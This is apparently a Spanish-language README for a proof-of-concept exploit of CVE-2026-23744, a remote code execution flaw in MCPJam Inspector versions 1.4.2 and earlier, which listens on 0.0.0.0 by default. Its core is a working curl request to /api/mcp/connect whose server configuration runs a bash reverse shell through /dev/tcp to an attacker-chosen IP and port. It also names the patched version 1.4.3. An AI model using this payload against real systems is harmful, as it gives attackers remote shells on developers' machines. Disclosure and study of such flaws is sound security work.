mrr0b0t19/cve-2026-23744-pocExplotación de prueba de concepto para CVE-2026-23744, una vulnerabilidad de ejecución remota de código en MCPJam Inspector. Demuestra RCE a través de una solicitud HTTP manipulada al endpoint /api/mcp/connect con carga útil de shell inversa.
Poc sobre vulnerabilidad en MCP Server.
automatizado para la parte del post con el cuerpo correcto.
/api/mcp/connect
curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/TUIP/TUPUERTO 0>&1"],"env":{}},"serverId":"pruebaxd"}'
MCPJam Inspector es la primera plataforma de desarrollo local para servidores MCP. Las versiones 1.4.2 y anteriores son vulnerables a la vulnerabilidad de ejecución remota de código (RCE), que permite a un atacante enviar una solicitud HTTP diseñada que activa la instalación de un servidor MCP, lo que genera RCE. Dado que el inspector MCPJam escucha de forma predeterminada en 0.0.0.0 en lugar de 127.0.0.1, un atacante puede activar el RCE de forma remota mediante una simple solicitud HTTP. La versión 1.4.3 contiene un parche.